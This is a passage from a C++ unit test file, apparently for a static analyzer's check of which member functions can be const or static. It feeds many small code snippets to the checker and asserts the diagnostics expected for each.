ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { 